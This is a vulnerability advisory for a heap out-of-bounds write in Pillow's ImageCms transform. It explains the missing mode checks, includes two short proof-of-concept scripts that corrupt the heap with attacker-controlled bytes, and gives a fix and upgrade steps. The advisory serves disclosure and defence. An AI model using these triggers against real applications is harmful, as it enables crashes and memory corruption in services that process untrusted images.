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GHSA-9hw9-ch79-4vh6 BIT-pillow-2026-59205 CVE-2026-59205 PYSEC-2026-3453

Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

High PyPI
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.39%
Chance of exploitation in the next 30 days. Higher than 32.62% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-787 Out-of-bounds Write
Fix
12.3.0
Upgrade pillow to this version or later

Description

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds.

Suggested fix

Validate modes before calling into the native transform:

def apply(self, im, imOut=None):
    if im.mode != self.input_mode:
        raise ValueError("input mode mismatch")
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    elif imOut.mode != self.output_mode:
        raise ValueError("output mode mismatch")
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

The C extension should also defensively reject mismatched image modes before calling cmsDoTransform().

Affected versions

PyPI

PackageVulnerableFixed in
pillow
< 12.3.0
12.3.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pillow PyPI → 12.3.0

pip
pip install --upgrade "pillow>=12.3.0"
poetry
poetry add "pillow>=12.3.0"
uv
uv add "pillow>=12.3.0"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-787: Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer.

How to prevent it
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
  • Operation, Build and Compilation: Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
  • Implementation: Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
  • Operation, Build and Compilation: Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
  • Operation: Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
  • Implementation: Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
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